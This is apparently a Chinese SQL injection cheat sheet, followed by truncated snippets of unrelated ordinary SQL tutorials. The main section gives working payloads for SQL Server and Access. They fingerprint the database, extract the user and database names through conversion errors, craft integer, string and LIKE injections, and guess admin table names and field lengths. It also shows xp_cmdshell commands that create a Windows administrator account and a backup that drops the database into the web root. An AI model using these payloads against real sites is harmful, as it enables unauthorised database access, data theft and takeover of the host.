sql注入
判断数据库类型
(select count(*) fromsysobjects)>0 //sql数据库
(select count(*) from msysobjects)>0 //access数据库
得到Sql用户名
user>0
Conversion failed when converting the nvarchar value 'dbo' to data type int.
重构SQL语句
整数型
(A) ID=49 ID=49 And [ 查询条件] ,即是生成语句:
Select * from 表名 where 字段=49 And [ 查询条件]
字符型
(B) Class= 连续剧
注入的参数为Class= 连续剧’ and [ 查询条件] and ‘’= ’ ,
(C)like ’% 关键字% ’
keyword= ’ and [ 查询条件] and ‘%25 ’= ’,
猜表名
And (Select Count(*) from Admin)>=0
猜长度
and (select top 1 len(username) from Admin)>0
新建用户名
exec master..xp_cmdshell "net user name password /add"--
master..xp_cmdshell "net localgroup administrators name /add"--
db_name()>0 前面有个类似的例子and user>0 ,作用是获取连接用户名,db_name() 是另一个系统变量,返回的是连接的数据库名。
backup database 数据库名 to disk= ’c:\inetpub\wwwroot\1.db ’;--
and (Select Top 1 name from sysobjects where xtype='U' )>0 前面说过,sysobjects 是SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,
相关文档:
use Master
go
if object_id('SP_SQL') is not null
drop proc SP_SQL
go
create proc [dbo].[SP_SQL](@ObjectName sysname)
as
set nocount on ;
declare @Print varchar(max)
if exists(select 1 from syscomments where ID=objec ......
1、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
法一:select * into b from a where 1 <>1
法二:select top 0 * into b from a
2、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;
3、说明:跨数据库之间表的拷贝(具体数据使用 ......
1) 选择最有效率的表名顺序(只在基于规则的优化器中有效):
ORACLE的解析器按照从右到左的顺序处理from子句中的表名,from子句中写在最后的表(基础表 driving table)将被最先处理,在from子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有3个以上的表连接查询, 那就需要选择交叉表(intersection ......
可以定义一个无论何时用INSERT语句向表中插入数据时都会执行的触发器。
当触发INSERT触发器时,新的数据行就会被插入到触发器表和inserted表中。inserted表是一个逻辑表,它包含了已经插入的数据行的一个副本。inserted表包含了INSERT语句中已记录的插入动作。inserted表还允许引用由初始化INSERT语句而产生的日志数据 ......
例 34 找出年龄超过平均年龄的学生姓名。
SELECT SNAME
from STUDENTS
WHERE AGE >
(SELECT AVG(AGE)
from STUDENTS)
例 35 找出各课程的平均成绩,按课程号分组,且只选择学生超过 3 人的课程的成 ......